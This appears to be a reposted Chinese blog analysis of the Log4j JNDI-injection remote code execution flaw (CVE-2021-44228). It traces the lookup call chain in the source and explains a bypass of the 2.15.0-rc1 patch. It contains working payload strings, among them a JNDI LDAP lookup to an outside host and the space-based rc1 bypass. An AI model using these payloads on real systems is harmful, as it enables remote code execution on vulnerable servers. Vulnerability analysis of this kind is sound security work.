栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Log4j远程代码执行漏洞分析(cve-2021-44228)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Log4j远程代码执行漏洞分析(cve-2021-44228)

本文首发于:奇安信攻防社区-Log4jRCE漏洞分析奇安信攻防社区-Log4jRCE漏洞分析https://forum.butian.net/share/966 希望大家能帮我去帮我点一下,增加一下阅读量

漏洞成因:

当日志中含有${字符串时,程序会使用lookup解析字符串导致注入。lookup机制提供了一种在任意位置向Log4j配置添加值的方法.它们是实现StrLookup接口的特定类型的插件,支持date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j这些协议,即可使用jndi协议,造成JNDI注入,进而造成RCE漏洞

代码分析:

使用唐小风的exp搭建一个demo,https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

1、给logger.error()打上断点,进行debug调试

2、点击下一步,进入到了 error:AbstractLogger (org.apache.logging.log4j.spi) 中

3、跟进 logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi) 中

这里会调用 isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别

如果满足要求,会进入 logMessage:AbstractLogger (org.apache.logging.log4j.spi) 中

这里省略一些不重要的函数调用,直接进入log中

4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config)

然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中

调用callAppenders

callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) 中调用callAppender

tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) 中调用append

directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) 中调用encode

toText:244, PatternLayout (org.apache.logging.log4j.core.layout) 中调用toSerializable

toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) 中调用format

5、我们跟进到 format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)

这里是第一个关键点,我们看以下代码

this.substitute = config != null && literal.contains("${");

this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal

这是一个三元表达式,需要同时满足config不为空和result包含"${",才会运行 this.config.getStrSubstitutor().replace(event, result),所以payload中要有${才可以

继续跟进到 substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup) 中,可以看到匹配一些特殊字符

如果字符串中有这些字符就进行删除,我们的payload就被处理为了jndi:ldap://h1glio.dnslog.cn/id

继续跟进

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}

调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup) ,该方法会根据协议来进行处理操作,支持协议有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup) ,

程序匹配到来jndi,就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量,

默认情况下, key的前缀为 java:comp/env / ,但如果key包含“:”,则不会添加前缀

关于lookup详情,可参考文档Log4j2 中文文档 - Lookups | Docs4dev

继续跟进,在 lookup:JndiManager (org.apache.logging.log4j.core.net) lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞.

Bypass rc1:

2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar,但是rc1存在被绕过的风险。
我们看下官方的rc2的修复包,对比rc1,我们看到是在catch下面加了return null。
其实rc1的绕过就在此处,想办法让其抛出URISyntaxException异常,那么代码就能进入到catch中,然后就能像未修复之前,执行lookup。

查阅资料发现URI uri = new URI(name);其实是将name转换为等效的 URI,任何 name实例只要遵守 RFC 2396 就可以转化为 URI,有些未严格遵守该规则的 name 将无法转化,就会抛出URISyntaxException异常,所以我们使用${jndi:ldap://127.0.0.1:1389/ badClassName}就可以绕过rc1,注意/与badClassName之间存在空格,空格的存在使得 name未遵守RFC 2396,就会抛出异常,进而执行lookup。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/703966.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号